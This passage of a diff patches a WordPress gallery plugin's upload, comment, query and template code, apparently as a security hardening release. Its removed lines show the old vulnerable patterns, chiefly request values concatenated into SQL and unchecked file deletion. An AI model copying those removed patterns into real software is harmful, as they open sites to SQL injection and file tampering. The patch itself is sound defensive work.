+					<div class="um-gallery-meta"><span class="um-gallery-count"><?php echo esc_html( um_gallery_photos_count_text() ); ?></span></div>

 				</div>
 				</div>
@@ -383,28 +368,45 @@
 						wp_mkdir_p( $path );
 					}

-					// $file = um_gallery_fix_image_orientation( $_FILES );
-					// Allowed file types includeing images and videos.
-					$allowed_file_types = array( 'image/jpeg', 'image/png', 'image/gif', 'video/mp4', 'video/avi', 'video/mov' );
+					$max_files = absint( um_gallery_pro_get_option( 'um_gallery_max_files', 0 ) );
+					if ( $max_files > 0 ) {
+						global $wpdb;
+						$user_photo_count = (int) $wpdb->get_var(
+							$wpdb->prepare(
+								"SELECT COUNT(*) FROM {$wpdb->prefix}um_gallery WHERE user_id = %d",
+								$user_id
+							)
+						);
+						if ( $user_photo_count >= $max_files ) {
+							wp_send_json_error( array( 'message' => __( 'Upload limit reached.', 'gallery-for-ultimate-member' ) ) );
+						}
+					}
+
+					$allowed_file_types = array( 'image/jpeg', 'image/png', 'image/gif', 'image/webp' );
 					if ( isset( $_FILES['file'] ) && ! empty( $_FILES['file']['name'] ) ) {
 						$file = $_FILES['file'];
 					} else {
 						wp_send_json_error( array( 'message' => 'No file uploaded.' ) );
 					}

+					$max_size_mb = absint( um_gallery_pro_get_option( 'um_gallery_max_file_size', 0 ) );
+					if ( $max_size_mb > 0 && ! empty( $file['size'] ) && (int) $file['size'] > ( $max_size_mb * MB_IN_BYTES ) ) {
+						wp_send_json_error( array( 'message' => __( 'File exceeds maximum upload size.', 'gallery-for-ultimate-member' ) ) );
+					}
+
 					$file_info = wp_check_filetype_and_ext( $file['tmp_name'], $file['name'] );
-					if ( ! $file_info['ext'] || ! $file_info['type'] || ! in_array( $file_info['type'], $allowed_file_types ) ) {
+					if ( ! $file_info['ext'] || ! $file_info['type'] || ! in_array( $file_info['type'], $allowed_file_types, true ) ) {
 						wp_send_json_error( array( 'message' => 'File type not allowed.' ) );
 					}

 					$album_id = isset( $_POST['album_id'] ) ? absint( $_POST['album_id'] ) : 0;
-					if ( $album_id && ! $this->user_owns_album( $album_id ) ) {
+					if ( ! $album_id || ! $this->user_owns_album( $album_id ) ) {
 						wp_send_json_error( array( 'message' => 'Invalid album.' ) );
 					}
 					$tmp_file   = $file['tmp_name'];
-					$name       = sanitize_text_field( $file['name'] );
+					$name       = sanitize_file_name( basename( $file['name'] ) );
 					$filename   = wp_unique_filename( $path, $name, false );
-					$targetFile = $path . $filename;  // 5
+					$targetFile = $path . $filename;

 					if ( move_uploaded_file( $tmp_file, $targetFile ) ) {
 						$image    = wp_get_image_editor( $targetFile );
@@ -423,7 +425,7 @@
 							array(
 								'album_id'    => $album_id,
 								'file_name'   => $filename,
-								'upload_date' => date( 'Y-m-d H:i:s' ),
+								'upload_date' => gmdate( 'Y-m-d H:i:s' ),
 								'user_id'     => $user_id,
 								'status'      => 1,
 							),
@@ -479,10 +481,17 @@
 				wp_send_json_error();
 			}

+			$caption = '';
+			if ( ! empty( $_POST['caption'] ) ) {
+				$caption = wp_kses_post( wp_unslash( $_POST['caption'] ) );
+			} elseif ( ! empty( $_POST['default_caption'] ) ) {
+				$caption = wp_kses_post( wp_unslash( $_POST['default_caption'] ) );
+			}
+
 			$wpdb->update(
 				$wpdb->prefix . 'um_gallery',
 				array(
-					'caption'     => ! empty( $_POST['caption'] ) ? wp_kses_post( wp_unslash( $_POST['caption'] ) ) : wp_kses_post( $_POST['default_caption'] ),
+					'caption'     => $caption,
 					'description' => ! empty( $_POST['description'] ) ? wp_kses_post( wp_unslash( $_POST['description'] ) ) : '',
 				),
 				array(
@@ -496,15 +505,13 @@
 			);

 			if ( um_gallery_pro_addon_enabled( 'category' ) ) {
-				// Set categories
-				// An array of IDs of categories we want this post to have.
 				$cat_ids = ! empty( $_POST['category'] ) ? absint( $_POST['category'] ) : null;
-
-				$term_taxonomy_ids = wp_set_object_terms( $id, $cat_ids, um_gallery()->field->category );
+				wp_set_object_terms( $id, $cat_ids, um_gallery()->field->category );
 			}
 			if ( um_gallery_pro_addon_enabled( 'tags' ) ) {
-				$tag_ids           = ! empty( $_POST['tax_input']['um_gallery_tag'] ) ? $_POST['tax_input']['um_gallery_tag'] : null;
-				$term_taxonomy_ids = wp_set_object_terms( $id, $tag_ids, 'um_gallery_tag' );
+				$tag_ids = ! empty( $_POST['tax_input']['um_gallery_tag'] ) ? (array) wp_unslash( $_POST['tax_input']['um_gallery_tag'] ) : array();
+				$tag_ids = array_map( 'sanitize_text_field', $tag_ids );
+				wp_set_object_terms( $id, $tag_ids, 'um_gallery_tag' );
 			}
 			$album_id = $wpdb->get_var( $wpdb->prepare( "SELECT album_id FROM {$wpdb->prefix}um_gallery WHERE id=%d", $id ) );
 			$images   = um_gallery_photos_by_album( $album_id, true );
@@ -560,15 +567,6 @@
 			wp_send_json( $results );
 		}
 		/**
-		 * [um_gallery_photo_info description]
-		 *
-		 * @return [type] [description]
-		 */
-		function um_gallery_photo_info() {
-			$this->verify_request();
-		}
-
-		/**
 		 * Delete gallery item
 		 *
 		 * @since  1.0.0
@@ -586,26 +584,57 @@
 			}

 			global $wpdb;
+			$album_id = (int) $wpdb->get_var( $wpdb->prepare( "SELECT album_id FROM {$wpdb->prefix}um_gallery WHERE id = %d", $id ) );
 			um_gallery_delete_photo( $id );
-			$album_id = absint( $_POST['album_id'] );
-			$images   = um_gallery_photos_by_album( $album_id );
-			if ( ! empty( $images ) ) {
-				foreach ( $images as $item ) {
-					global $photo;
-					$image                 = um_gallery_setup_photo( $item );
-					$results[ $image->id ] = array(
-						'user_id'     => $image->user_id,
-						'caption'     => $image->caption,
-						'description' => esc_html( $image->description ),
-					);
+
+			if ( $album_id && $this->user_owns_album( $album_id ) ) {
+				$images = um_gallery_photos_by_album( $album_id );
+				if ( ! empty( $images ) ) {
+					foreach ( $images as $item ) {
+						$image                 = um_gallery_setup_photo( $item );
+						$results[ $image->id ] = array(
+							'user_id'     => $image->user_id,
+							'caption'     => $image->caption,
+							'description' => esc_html( $image->description ),
+						);
+					}
 				}
 			}
 			wp_send_json( $results );
 		}

-		public function um_gallery_fetch_remote_thumbnail() {
-			$this->verify_request();
-			wp_send_json_error();
+		/**
+		 * Bulk delete gallery photos owned by the current user.
+		 */
+		public function bulk_delete_items() {
+			$this->verify_request( true );
+
+			$ids = isset( $_POST['ids'] ) ? array_map( 'absint', (array) wp_unslash( $_POST['ids'] ) ) : array();
+			$ids = array_filter( $ids );
+
+			if ( empty( $ids ) ) {
+				wp_send_json_error( array( 'message' => __( 'No photos selected.', 'gallery-for-ultimate-member' ) ) );
+			}
+
+			$deleted = 0;
+			foreach ( $ids as $id ) {
+				if ( $this->user_owns_photo( $id ) ) {
+					um_gallery_delete_photo( $id );
+					++$deleted;
+				}
+			}
+
+			wp_send_json_success(
+				array(
+					'deleted' => $deleted,
+					'message' => sprintf(
+						/* translators: %d: number of deleted photos */
+						_n( '%d photo deleted.', '%d photos deleted.', $deleted, 'gallery-for-ultimate-member' ),
+						$deleted
+					),
+				)
+			);
 		}
+
 	}
 endif;
--- a/gallery-for-ultimate-member/includes/um-gallery-comments.php
+++ b/gallery-for-ultimate-member/includes/um-gallery-comments.php
@@ -61,10 +61,10 @@
 		$current_user = get_current_user_id();
 		$query        = 'SELECT c.id, c.creation_date as created, c.parent_id as parent, c.comment as content, u.display_name AS fullname, c.user_id  FROM ' . $wpdb->prefix . 'um_gallery_comments AS c LEFT JOIN  ' . $wpdb->users . ' as u ON c.user_id=u.ID WHERE 1=1';
 		if ( ! empty( $args['comment_id'] ) ) {
-			$query .= " AND c.id = '" . (int) $args['comment_id'] . "' ";
+			$query .= $wpdb->prepare( ' AND c.id = %d ', absint( $args['comment_id'] ) );
 		}
 		if ( ! empty( $args['photo_id'] ) ) {
-			$query .= " AND c.photo_id = '" . (int) $args['photo_id'] . "' ";
+			$query .= $wpdb->prepare( ' AND c.photo_id = %d ', absint( $args['photo_id'] ) );
 		}
 		if ( true == $single ) {
 			$results = $wpdb->get_row( $query );
@@ -180,8 +180,13 @@

 	public function get_comments_by_parent( $parent = 0 ) {
 		global $wpdb;
-		$query   = "SELECT id FROM {$wpdb->prefix}um_gallery_comments WHERE parent_id='{$parent}'";
-		$results = $wpdb->get_col( $query );
+		$parent  = absint( $parent );
+		$results = $wpdb->get_col(
+			$wpdb->prepare(
+				"SELECT id FROM {$wpdb->prefix}um_gallery_comments WHERE parent_id = %d",
+				$parent
+			)
+		);
 	}
 	/**
 	 * Upvote comment
--- a/gallery-for-ultimate-member/includes/um-gallery-functions.php
+++ b/gallery-for-ultimate-member/includes/um-gallery-functions.php
@@ -4,6 +4,43 @@
 }

 /**
+ * Normalize a comma-separated or array value into unique positive integers.
+ *
+ * @param mixed $value Raw IDs.
+ * @return int[]
+ */
+function um_gallery_sanitize_id_list( $value ) {
+	if ( is_array( $value ) ) {
+		$ids = $value;
+	} else {
+		$ids = explode( ',', (string) $value );
+	}
+
+	$ids = array_filter( array_map( 'absint', $ids ) );
+	return array_values( array_unique( $ids ) );
+}
+
+/**
+ * Build a safe IN (...) clause from integer IDs.
+ *
+ * @param string $column Column name (trusted).
+ * @param int[]  $ids    Absolute integers.
+ * @return string Empty string when no IDs.
+ */
+function um_gallery_sql_in_clause( $column, $ids ) {
+	$ids = um_gallery_sanitize_id_list( $ids );
+	if ( empty( $ids ) ) {
+		return '';
+	}
+
+	if ( 1 === count( $ids ) ) {
+		return $column . ' = ' . (int) $ids[0];
+	}
+
+	return $column . ' IN (' . implode( ',', array_map( 'intval', $ids ) ) . ')';
+}
+
+/**
  * Get the recent photos uploaded by user
  *
  * @param  array $args [description]
@@ -29,77 +66,60 @@
 	 * Parse incoming $args into an array and merge it with $defaults
 	 */
 	$args = wp_parse_args( $args, $defaults );
-	extract( $args );

-	// Set the page.
-	$page = intval( $page );
+	$page = absint( $args['page'] );
 	if ( ! $page ) {
 		$page = 1;
 	}

-	// Set the amount.
-	$amount = intval( $amount );
+	$amount = absint( $args['amount'] );
 	if ( ! $amount ) {
 		$amount = 10;
 	}
-	// build query
+
 	$offset      = ( $page - 1 ) * $amount;
-	$sql_where   = array();
-	$sql_where[] = ' 1=1';
-	if ( ! empty( $args['user_id'] ) ) {
-		$user_id_lists = explode( ',', $args['user_id'] );
-		if ( count( $user_id_lists ) > 1 ) {
-			$sql_where[] = ' a.user_id IN (' . implode( ',', $user_id_lists ) . ')';
-		} else {
-			$sql_where[] = ' a.user_id = "' . $user_id_lists[0] . '" ';
-		}
+	$sql_where   = array( '1=1' );
+
+	$user_clause = um_gallery_sql_in_clause( 'a.user_id', $args['user_id'] );
+	if ( $user_clause ) {
+		$sql_where[] = $user_clause;
 	}

-	if ( ! empty( $args['id'] ) ) {
-		$id_lists = explode( ',', $args['id'] );
-		if ( count( $id_lists ) > 1 ) {
-			$sql_where[] = ' a.id IN (' . implode( ',', $id_lists ) . ')';
-		} else {
-			$sql_where[] = ' a.id = "' . $id_lists[0] . '" ';
-		}
+	$id_clause = um_gallery_sql_in_clause( 'a.id', $args['id'] );
+	if ( $id_clause ) {
+		$sql_where[] = $id_clause;
 	}

-	if ( ! empty( $args['album_id'] ) ) {
-		$id_lists = explode( ',', $args['album_id'] );
-		if ( count( $id_lists ) > 1 ) {
-			$sql_where[] = ' a.album_id IN (' . implode( ',', $id_lists ) . ')';
-		} else {
-			$sql_where[] = ' a.album_id = "' . $id_lists[0] . '" ';
-		}
+	$album_clause = um_gallery_sql_in_clause( 'a.album_id', $args['album_id'] );
+	if ( $album_clause ) {
+		$sql_where[] = $album_clause;
 	}

 	$query = "SELECT a.* FROM {$wpdb->prefix}um_gallery AS a ";

 	if ( ! empty( $args['category'] ) ) {
-		$category = $args['category'];
-		if ( is_array( $category ) ) {
-			$category = implode( ',', $args['category'] );
+		$category_ids = um_gallery_sanitize_id_list( $args['category'] );
+		if ( ! empty( $category_ids ) ) {
+			$query      .= " LEFT JOIN {$wpdb->term_relationships} AS cat_rel ON (a.id = cat_rel.object_id) ";
+			$query      .= " LEFT JOIN {$wpdb->term_taxonomy} AS cat_tax ON ( cat_rel.term_taxonomy_id = cat_tax.term_taxonomy_id) ";
+			$sql_where[] = um_gallery_sql_in_clause( 'cat_tax.term_id', $category_ids );
+			$sql_where[] = " cat_tax.taxonomy = 'um_gallery_category' ";
 		}
-		$query      .= " LEFT JOIN $wpdb->term_relationships AS cat_rel ON (a.id = cat_rel.object_id) ";
-		$query      .= " LEFT JOIN $wpdb->term_taxonomy AS cat_tax ON ( cat_rel.term_taxonomy_id = cat_tax.term_taxonomy_id) ";
-		$sql_where[] = sprintf( ' cat_tax.term_id IN(%s) ', $category );
-		$sql_where[] = " cat_tax.taxonomy = 'um_gallery_category' ";
 	}

 	if ( ! empty( $args['tags'] ) ) {
-		$tags = $args['tags'];
-		if ( is_array( $tags ) ) {
-			$tags = implode( ',', $args['tags'] );
+		$tag_ids = um_gallery_sanitize_id_list( $args['tags'] );
+		if ( ! empty( $tag_ids ) ) {
+			$query      .= " LEFT JOIN {$wpdb->term_relationships} AS tag_rel ON (a.id = tag_rel.object_id) ";
+			$query      .= " LEFT JOIN {$wpdb->term_taxonomy} AS tag_tax ON ( tag_rel.term_taxonomy_id = tag_tax.term_taxonomy_id) ";
+			$sql_where[] = um_gallery_sql_in_clause( 'tag_tax.term_id', $tag_ids );
+			$sql_where[] = " tag_tax.taxonomy = 'um_gallery_tag' ";
 		}
-		$query      .= " LEFT JOIN $wpdb->term_relationships AS tag_rel ON (a.id = tag_rel.object_id) ";
-		$query      .= " LEFT JOIN $wpdb->term_taxonomy AS tag_tax ON ( tag_rel.term_taxonomy_id = tag_tax.term_taxonomy_id) ";
-		$sql_where[] = sprintf( ' tag_tax.term_id IN(%s) ', $tags );
-		$sql_where[] = " tag_tax.taxonomy = 'um_gallery_tag' ";
 	}

 	$sql_where = apply_filters( 'um_gallery_recent_photos_query_args', $sql_where, $args );

-	$query .= 'WHERE ' . implode( ' AND ', $sql_where ) . " ORDER BY a.id DESC LIMIT {$offset}, {$amount}";
+	$query .= 'WHERE ' . implode( ' AND ', $sql_where ) . $wpdb->prepare( ' ORDER BY a.id DESC LIMIT %d, %d', $offset, $amount );
 	$items  = $wpdb->get_results( $query );
 	return $items;
 }
@@ -112,8 +132,12 @@
  */
 function um_gallery_by_userid( $user_id = 0 ) {
 	global $wpdb;
-	$query  = "SELECT a.*,d.file_name, COUNT(d.id) AS total_photos, d.type FROM {$wpdb->prefix}um_gallery_album AS a LEFT JOIN {$wpdb->prefix}um_gallery AS d ON a.id=d.album_id WHERE a.user_id='{$user_id}' GROUP BY a.id ORDER BY a.id DESC";
-	$albums = $wpdb->get_results( $query );
+	$user_id = absint( $user_id );
+	$query   = $wpdb->prepare(
+		"SELECT a.*,d.file_name, COUNT(d.id) AS total_photos, d.type FROM {$wpdb->prefix}um_gallery_album AS a LEFT JOIN {$wpdb->prefix}um_gallery AS d ON a.id=d.album_id WHERE a.user_id=%d GROUP BY a.id ORDER BY a.id DESC",
+		$user_id
+	);
+	$albums  = $wpdb->get_results( $query );
 	return $albums;
 }

@@ -127,20 +151,13 @@
 function um_gallery_photos_by_album( $album_id = 0, $include_taxonomies = false ) {
 	global $wpdb;

-	if ( ! $include_taxonomies ) {
-		$query = "SELECT a.* FROM {$wpdb->prefix}um_gallery AS a WHERE a.album_id='{$album_id}' ORDER BY a.id DESC";
-	} else {
-		$query = "SELECT DISTINCT a.*,
-			FROM {$wpdb->prefix}um_gallery AS a
-			LEFT JOIN $wpdb->term_relationships AS tag ON (a.id = tag.object_id)
-			LEFT JOIN $wpdb->term_taxonomy AS tag_tax ON (tag.term_taxonomy_id = tag_tax.term_taxonomy_id)
-			LEFT JOIN $wpdb->term_relationships AS category ON (a.id = category.object_id)
-			LEFT JOIN $wpdb->term_taxonomy AS category_tax ON (category.term_taxonomy_id = category_tax.term_taxonomy_id)
-			WHERE category_tax.taxonomy = 'um_gallery_category'
-			AND tag_tax.taxonomy = 'um_gallery_tag'
-			AND a.album_id = '{$album_id}'";
-		$query = "SELECT a.* FROM {$wpdb->prefix}um_gallery AS a WHERE a.album_id='{$album_id}' ORDER BY a.id DESC";
-	}
+	$album_id = absint( $album_id );
+	unset( $include_taxonomies ); // Taxonomy join path was unused; keep signature for callers.
+
+	$query  = $wpdb->prepare(
+		"SELECT a.* FROM {$wpdb->prefix}um_gallery AS a WHERE a.album_id = %d ORDER BY a.id DESC",
+		$album_id
+	);
 	$photos = $wpdb->get_results( $query );
 	return $photos;
 }
@@ -154,9 +171,14 @@
  */
 function um_gallery_photo_by_id( $photo_id = 0 ) {
 	global $wpdb, $photo;
-	$query = "SELECT p.* FROM {$wpdb->prefix}um_gallery AS p WHERE p.id='{$photo_id}'";
-	$item  = $wpdb->get_row( $query );
-	$photo = um_gallery_setup_photo( $item );
+	$photo_id = absint( $photo_id );
+	$item     = $wpdb->get_row(
+		$wpdb->prepare(
+			"SELECT p.* FROM {$wpdb->prefix}um_gallery AS p WHERE p.id = %d",
+			$photo_id
+		)
+	);
+	$photo    = um_gallery_setup_photo( $item );
 	return $photo;
 }

@@ -338,12 +360,17 @@

 function um_gallery_get_album_feature_media( $album_id = 0 ) {
 	global $wpdb;
+	$album_id = absint( $album_id );
 	if ( ! $album_id ) {
 		return;
 	}

-	$query = "SELECT a.* FROM {$wpdb->prefix}um_gallery AS a WHERE a.album_id='{$album_id}' ORDER BY a.id DESC LIMIT 0, 1";
-	$photo = $wpdb->get_row( $query );
+	$photo = $wpdb->get_row(
+		$wpdb->prepare(
+			"SELECT a.* FROM {$wpdb->prefix}um_gallery AS a WHERE a.album_id = %d ORDER BY a.id DESC LIMIT 0, 1",
+			$album_id
+		)
+	);
 	$photo = um_gallery_setup_photo( $photo );
 	return $photo;
 }
@@ -462,26 +489,27 @@
 		'per_page' => '12',
 	);

-	$args = wp_parse_args( $args, $default_args );
-
-	$offset = '';
-	$amount = $args['per_page'];
-
-	if ( '-1' != $args['per_page'] ) {
-		// build query
-		$offset = ( $args['page'] - 1 ) * $args['per_page'];
-	}
+	$args     = wp_parse_args( $args, $default_args );
+	$album_id = absint( $album_id );

-	$query = "SELECT a.*, d.file_name, COUNT(d.id) AS total_photos, d.type, a.user_id AS album_owner,  (
+	$query = $wpdb->prepare(
+		"SELECT a.*, d.file_name, COUNT(d.id) AS total_photos, d.type, a.user_id AS album_owner,  (
         CASE
             WHEN a.album_privacy IS NULL OR a.album_privacy = ''
             THEN 1
             ELSE a.album_privacy
         END
-      ) AS privacy FROM {$wpdb->prefix}um_gallery_album AS a LEFT JOIN {$wpdb->prefix}um_gallery AS d ON a.id=d.album_id WHERE a.id='{$album_id}' ";
-	if ( $offset ) {
-		$query .= " LIMIT {$offset}, {$amount} ";
+      ) AS privacy FROM {$wpdb->prefix}um_gallery_album AS a LEFT JOIN {$wpdb->prefix}um_gallery AS d ON a.id=d.album_id WHERE a.id=%d",
+		$album_id
+	);
+
+	if ( '-1' != $args['per_page'] ) {
+		$page   = max( 1, absint( $args['page'] ) );
+		$amount = absint( $args['per_page'] );
+		$offset = ( $page - 1 ) * $amount;
+		$query .= $wpdb->prepare( ' LIMIT %d, %d', $offset, $amount );
 	}
+
 	$album = $wpdb->get_row( $query );
 	return $album;
 }
@@ -495,8 +523,12 @@
  */
 function um_gallery_album_by_photo_id( $photo_id = 0 ) {
 	global $wpdb;
-	$query = "SELECT a.*,d.file_name, d.type FROM {$wpdb->prefix}um_gallery_album AS a LEFT JOIN {$wpdb->prefix}um_gallery AS d ON a.id=d.album_id WHERE d.id='{$photo_id}'";
-	$album = $wpdb->get_row( $query );
+	$photo_id = absint( $photo_id );
+	$query    = $wpdb->prepare(
+		"SELECT a.*,d.file_name, d.type FROM {$wpdb->prefix}um_gallery_album AS a LEFT JOIN {$wpdb->prefix}um_gallery AS d ON a.id=d.album_id WHERE d.id=%d",
+		$photo_id
+	);
+	$album    = $wpdb->get_row( $query );
 	return $album;
 }

@@ -522,12 +554,20 @@
 		return;
 	}

-	$wpdb->delete( $wpdb->prefix . 'um_gallery', array( 'id' => $photo_id ) );
-	if ( 'youtube' != $file->type && 'vimeo' != $file->type ) {
-		$file_url = um_gallery()->get_user_image_path( $file->user_id, $file->file_name );
-		unlink( $file_url );
-		$file_url = um_gallery()->get_user_image_path( $file->user_id, $file->file_name, 'none' );
-		unlink( $file_url );
+	$wpdb->delete( $wpdb->prefix . 'um_gallery', array( 'id' => $photo_id ), array( '%d' ) );
+	if ( ! in_array( $file->type, array( 'youtube', 'vimeo', 'hudl' ), true ) ) {
+		$safe_name = basename( $file->file_name );
+		foreach ( array( 'thumbnail', 'none' ) as $size ) {
+			$file_url = um_gallery()->get_user_image_path( $file->user_id, $safe_name, $size );
+			if ( empty( $file_url ) || ! is_string( $file_url ) ) {
+				continue;
+			}
+			$real_file    = realpath( $file_url );
+			$gallery_root = realpath( um_gallery()->gallery_path );
+			if ( $real_file && $gallery_root && 0 === strpos( $real_file, $gallery_root ) && is_file( $real_file ) ) {
+				unlink( $real_file );
+			}
+		}
 	}
 	do_action( 'um_gallery_photo_deleted', $photo_id );
 }
@@ -661,8 +701,13 @@
  */
 function um_gallery_get_default_album( $user_id = 0 ) {
 	global $wpdb;
-	$query    = "SELECT a.id FROM {$wpdb->prefix}um_gallery_album AS a WHERE a.user_id = '{$user_id}' ORDER BY a.id ASC LIMIT 0, 1 ";
-	$album_id = $wpdb->get_var( $query );
+	$user_id  = absint( $user_id );
+	$album_id = $wpdb->get_var(
+		$wpdb->prepare(
+			"SELECT a.id FROM {$wpdb->prefix}um_gallery_album AS a WHERE a.user_id = %d ORDER BY a.id ASC LIMIT 0, 1",
+			$user_id
+		)
+	);
 	return $album_id;
 }

@@ -1137,8 +1182,6 @@
 		$type = 'youtube';
 	} elseif ( strpos( $url, 'vimeo' ) > 0 ) {
 		$type = 'vimeo';
-	} elseif ( strpos( $url, 'hudl' ) > 0 ) {
-		$type = 'hudl';
 	}
 	return apply_filters( 'um_gallery_get_video_type', $type );
 }
@@ -1146,13 +1189,13 @@
 function um_get_gallery_siblings( $photo_id = 0 ) {
 	global $wpdb;

-	// Get the album ID.
-	$album_id = $wpdb->get_var( $wpdb->prepare( "SELECT album_id FROM {$wpdb->prefix}um_gallery WHERE id='%d'", $photo_id ) );
+	$photo_id = absint( $photo_id );
+	$album_id = $wpdb->get_var( $wpdb->prepare( "SELECT album_id FROM {$wpdb->prefix}um_gallery WHERE id = %d", $photo_id ) );
 	if ( empty( $album_id ) ) {
 		return;
 	}
-	// Find siblings
-	$photos = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}um_gallery WHERE album_id='%d'", $album_id ) );
+
+	$photos = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}um_gallery WHERE album_id = %d", $album_id ) );
 	if ( ! empty( $photos ) ) {
 		return $photos;
 	}
@@ -1171,7 +1214,6 @@
 	$media_types = array(
 		'youtube',
 		'vimeo',
-		'hudl',
 	);
 	return apply_filters( 'um_gallery_get_remote_media_types', $media_types );
 }
--- a/gallery-for-ultimate-member/includes/um-gallery-settings.php
+++ b/gallery-for-ultimate-member/includes/um-gallery-settings.php
@@ -108,6 +108,22 @@
 			),
 		);

+		$fields['general'][] = array(
+			'id'      => 'um_gallery_max_files',
+			'type'    => 'text_small',
+			'name'    => __( 'Max Photos Per User', 'gallery-for-ultimate-member' ),
+			'default' => '0',
+			'desc'    => __( 'Maximum photos a user may upload (0 = unlimited).', 'gallery-for-ultimate-member' ),
+		);
+
+		$fields['general'][] = array(
+			'id'      => 'um_gallery_max_file_size',
+			'type'    => 'text_small',
+			'name'    => __( 'Max Upload Size (MB)', 'gallery-for-ultimate-member' ),
+			'default' => '0',
+			'desc'    => __( 'Maximum file size in megabytes (0 = use WordPress upload limit).', 'gallery-for-ultimate-member' ),
+		);
+
 		$fields['labels'][] = array(
 			'id'      => 'um_gallery_tab_name',
 			'type'    => 'text',
@@ -537,9 +553,12 @@
 	public function handle_option_page_submission() {
 		// Check if the action is 'update'
 		if ( isset( $_POST['action'] ) && $_POST['action'] == 'update_gallery_settings' ) {
+			if ( ! current_user_can( 'manage_options' ) ) {
+				return;
+			}

 			// Verify nonce to improve security (recommended)
-			if ( isset( $_POST['_wpnonce'] ) && wp_verify_nonce( $_POST['_wpnonce'], 'um_gallery_option_group-options' ) ) {
+			if ( isset( $_POST['_wpnonce'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce'] ) ), 'um_gallery_option_group-options' ) ) {
 				// Process and save the submitted data
 				$options       = $this->um_gallery_settings();
 				$input         = ! empty( $_POST['um_gallery_options'] ) ? $_POST['um_gallery_options'] : array();
--- a/gallery-for-ultimate-member/includes/um-gallery-shortcodes.php
+++ b/gallery-for-ultimate-member/includes/um-gallery-shortcodes.php
@@ -93,8 +93,8 @@
 				</ul>
 			</div>
 			<script type="text/javascript" id="um-gallery-data">
-				window['um_gallery_images<?php echo esc_attr( $uniqid ); ?>'] = <?php echo json_encode( $data ); ?>;
-				window['um_gallery_users_<?php echo esc_attr( $uniqid ); ?>'] = <?php echo json_encode( $users ); ?>;
+				window['um_gallery_images<?php echo esc_attr( $uniqid ); ?>'] = <?php echo wp_json_encode( $data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT ); ?>;
+				window['um_gallery_users_<?php echo esc_attr( $uniqid ); ?>'] = <?php echo wp_json_encode( $users, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT ); ?>;
 			</script>
 			<?php
 		endif;
@@ -125,42 +125,40 @@
 		);
 		$user_ids_from_name = array();
 		$user_id_lists      = array();
-		$sql_where          = array();
-		$sql_where[]        = ' 1=1 ';
+		$sql_where          = array( '1=1' );
+		$amount             = absint( $amount );
+		if ( ! $amount ) {
+			$amount = 10;
+		}

 		// Check if user names were passsed in and get the user IDs.
 		if ( ! empty( $username ) ) {
 			$user_name_lists = explode( ',', $username );
 			foreach ( $user_name_lists as $uname ) {
-				$user_obj             = get_user_by( 'login', $uname );
-				$user_ids_from_name[] = $user_obj->ID;
+				$user_obj = get_user_by( 'login', sanitize_user( $uname ) );
+				if ( $user_obj ) {
+					$user_ids_from_name[] = (int) $user_obj->ID;
+				}
 			}
 		}

 		// Chec if user ID was used.
 		if ( ! empty( $user_id ) ) {
-			$user_id_lists = explode( ',', $user_id );
+			$user_id_lists = um_gallery_sanitize_id_list( $user_id );
 			if ( ! empty( $user_ids_from_name ) ) {
 				$user_id_lists = array_merge( $user_id_lists, $user_ids_from_name );
 			}
 		} elseif ( ! empty( $user_ids_from_name ) ) {
 			$user_id_lists = $user_ids_from_name;
 		}
-		$user_id_lists = array_unique( $user_id_lists );
-		if ( ! empty( $user_id_lists ) ) {
-			if ( count( $user_id_lists ) > 1 ) {
-				$sql_where[] = ' a.user_id IN (' . implode( ',', $user_id_lists ) . ')';
-			} else {
-				$sql_where[] = ' a.user_id = "' . $user_id_lists[0] . '" ';
-			}
+		$user_id_lists = array_values( array_unique( array_map( 'absint', $user_id_lists ) ) );
+		$user_clause   = um_gallery_sql_in_clause( 'a.user_id', $user_id_lists );
+		if ( $user_clause ) {
+			$sql_where[] = $user_clause;
 		}
-		if ( ! empty( $id ) ) {
-			$id_lists = explode( ',', $id );
-			if ( count( $id_lists ) > 1 ) {
-				$sql_where[] = ' a.id IN (' . implode( ',', $id_lists ) . ')';
-			} else {
-				$sql_where[] = ' a.id = "' . $id_lists[0] . '" ';
-			}
+		$id_clause = um_gallery_sql_in_clause( 'a.id', $id );
+		if ( $id_clause ) {
+			$sql_where[] = $id_clause;
 		}
 		$query  = "SELECT a.*, d.file_name, d.type, COUNT(d.id) AS total_photos, (
 			CASE
@@ -168,7 +166,7 @@
 				THEN 1
 				ELSE a.album_privacy
 			END
-		  ) AS privacy FROM {$wpdb->prefix}um_gallery_album AS a LEFT JOIN {$wpdb->prefix}um_gallery AS d ON a.id=d.album_id WHERE " . implode( ' AND ', $sql_where ) . " GROUP BY a.id   ORDER BY a.id DESC LIMIT 0, {$amount}";
+		  ) AS privacy FROM {$wpdb->prefix}um_gallery_album AS a LEFT JOIN {$wpdb->prefix}um_gallery AS d ON a.id=d.album_id WHERE " . implode( ' AND ', $sql_where ) . $wpdb->prepare( ' GROUP BY a.id ORDER BY a.id DESC LIMIT 0, %d', $amount );
 		$albums = $wpdb->get_results( $query );
 		$albums = um_gallery_privacy_extractor( $albums );
 		um_gallery()->template->load_template( 'um-gallery/albums' );
--- a/gallery-for-ultimate-member/templates/um-gallery/albums.php
+++ b/gallery-for-ultimate-member/templates/um-gallery/albums.php
@@ -1,3 +1,8 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+?>
 <div class="um-gallery-album-list">
 <?php
 	global $albums;
@@ -6,19 +11,19 @@
 		global $album, $photo;
 		$album = $photo = $item;
 		?>
-		<div class="um-gallery-grid-item" id="um-album-<?php echo $album->id; ?>">
+		<div class="um-gallery-grid-item" id="um-album-<?php echo absint( $album->id ); ?>">
 			<div class="um-gallery-inner">
-				<div class="um-gallery-img"><a href="<?php echo um_gallery_album_url(); ?>"><img src="<?php echo um_gallery_get_album_feature_media_url( $album->id ); ?>"></a>
+				<div class="um-gallery-img"><a href="<?php echo esc_url( um_gallery_album_url() ); ?>"><img src="<?php echo esc_url( um_gallery_get_album_feature_media_url( $album->id ) ); ?>" alt=""></a>
 			<?php if ( um_gallery()->is_owner() ) : ?>
 					<div class="um-gallery-action">
-						<a href="#" class="um-gallery-form" data-id="<?php echo $item->id; ?>"><i class="um-faicon-pencil"></i></a>
